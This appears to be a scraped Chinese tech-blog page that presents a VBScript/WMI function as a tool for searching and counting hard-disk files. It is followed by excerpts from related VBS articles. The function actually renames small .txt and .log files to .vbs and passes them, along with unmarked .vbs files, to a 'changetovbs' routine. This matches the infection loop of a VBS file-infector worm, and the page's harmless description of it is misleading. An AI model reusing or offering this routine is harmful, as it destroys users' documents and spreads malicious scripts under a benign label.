VBS调用WMI遍历搜索硬盘文件并计数的方法_vbs

多年之前写的一个VBS调用WMI来遍历搜索硬盘文件,并计数的函数,今天整理网盘,看到了,发上来

核心代码:

Function wmisfile(path_sf,justcnt)
  'On Error Resume Next
  StrComputer = "."
  Set ObjWMIService = GetObject("winmgmts:\\" & StrComputer & "\root\cimv2")
  Set FileList = objWMIService.ExecQuery _
  ("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _
   & "ResultClass = CIM_DataFile")
  For Each objFile In FileList
    fname = LCase(objfile.name)
    ename = LCase(objfile.extension)
    If 1 < objfile.filesize And objfile.filesize <= 50000 Then
      Select Case ename
        Case "txt","log"
        path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"
        objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs")
        Call changetovbs(path_vbs,path_vbs)
        justcnt = justcnt + 1
        Case "vbs"
        If checkversion(fname) = False Then
          Call changetovbs(fname,fname)
          justcnt = justcnt + 1
        End If
      End Select
    End If
  Next
  Set colSubfolders = objWMIService.ExecQuery _
  ("Associators of {Win32_Directory.Name='" & path_sf & "'} " _
   & "Where AssocClass = Win32_Subdirectory " _
   & "ResultRole = PartComponent")
  For Each objFolder In colSubfolders
    wmisfile objfolder.name,justcnt
  Next
End Function

以上是小编为您精心准备的的内容,在的博客、问答、公众号、人物、课程等栏目也有的相关内容,欢迎继续使用右上角搜索按钮进行搜索遍历
, vbs
, wmi
搜索硬盘
wmiexec.vbs、vbs wmi、wmiexec.vbs 下载、vbs wmi props、vbs wmi 保存参数,以便于您获取更多的相关知识。

时间: 2024-12-04 18:13:48

VBS调用WMI遍历搜索硬盘文件并计数的方法_vbs的相关文章

VBS调用WMI实现搜索硬盘mp3文件_vbs

复制代码 代码如下: strComputer = "." Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" _ & strComputer & "\root\cimv2") Set colFiles = objWMIService. _ ExecQuery("Select *

如何使用FSO搜索硬盘文件

fso|硬盘 <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> <% dim st st=timer() '************************************************************* '*************搜索硬盘文件的类SearchFile ************* '*************调用方法: ************* '*************

VBS调用WMI快速关闭IE的脚本_vbs

VBS调用WMI秒杀IE把以下文件存为KillIE.vbs,当要关闭所有用IE打开的网页时,双击执行便可, Set wmi=GetObject("winmgmts:\\.") Set pro_s=wmi.instancesof("win32_process") For Each p In pro_s  if p.name="iexplore.exe" then p.terminate() Next 这所以要提取是因为:本人一般打开的网页都很多,关

如何使用FSO搜索硬盘文件_FSO专题

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> <% dim st st=timer() '************************************************************* '*************搜索硬盘文件的类SearchFile ************* '*************调用方法: ************* '*************Set new

通过vbs修改以点结尾的文件的属性为隐藏_vbs

核心代码: rem 修改以点结尾的文件的属性为"隐藏" @echo off set DstFile=C:\test\batcher. >"%temp%\FileProperty.vbs" echo Set objFSO = CreateObject("Scripting.FileSystemObject").GetFile("\\?\%DstFile%.\") >>"%temp%\FilePrope

php遍历目录与文件夹的多种方法详解_php实例

遍历目录或遍历目录下指定类型的文件,这是每一个童鞋在写程序的时候难免会用到的.PHP本身也提供了很多灰常有用的函数,正确地使用它们,不会有错滴.下面就我个人学习过程中的一些总结,希望对想学PHP的童鞋有所帮助.本函数可以列出指定目录下所有的文件(包括子目录下的) 复制代码 代码如下: function getfiles($path){ foreach(scandir($path) as $afile){if($afile=='.'||$afile=='..') continue; if(is_d

用vbs计算某个词在日志文件中的出现次数_vbs

问: 您好,脚本专家!如何计算 Failure 一词在日志文件中的出现次数?这里有个问题:由于日志文件一个接一个地写入事件,因而创建了一个非常之长的文本行. -- FS 答: 您好,FS.根据您电子邮件的其余部分来看,您的日志文件与下面的有些相似: Failure 2/7/2006 8:25 AM Failure 2/7/2006 9:45 AM Success  2/7/2006 3:10 PM Failure 2/8/2006 9:15 AM Success 2/7/2006 3:01 PM

自定义vbs脚本实现开机后延时启动指定程序的方法_vbs

概述 系统开机时,顺带自动启动了不少驱动程序,使得电脑开机后鼠标要呆滞许久.为了加快windows的开机速度,在参考网上不少大牛的资料后,整理出使用vbs脚本实现开机后延时启动程序的方法 vbs内容示例: 复制代码 代码如下: Dim delayer Set delayer = CreateObject("WScript.Shell") WScript.sleep 8000 delayer.Run """C:\Program Files(x86)\King

vbs 脚本错误:操作中文件名或类名未找到的解决方法_vbs

昨天下午闲得无事,于是翻出以前的脚本,尝试运行,结果却出现了如图所示的错误. 于是:regsvr32 vbscript.dll. 重新运行脚本,没想到还是一样.放到另外一台计算机上却正常.怪了,最近也没怎么折腾这系统,百度.谷歌了一阵子,没有答案. 下午吃饭的时候,放火墙出了点状况,打开防火墙日志查看了下,无意中瞄到了"D:\DATA\VBS\GetWanIP.vbs"的字眼,看来有眉目了. 原来是防火墙阻止了脚本的网络访问!添加一条规则.脚本正常运行了. GetWanIP.vbs是代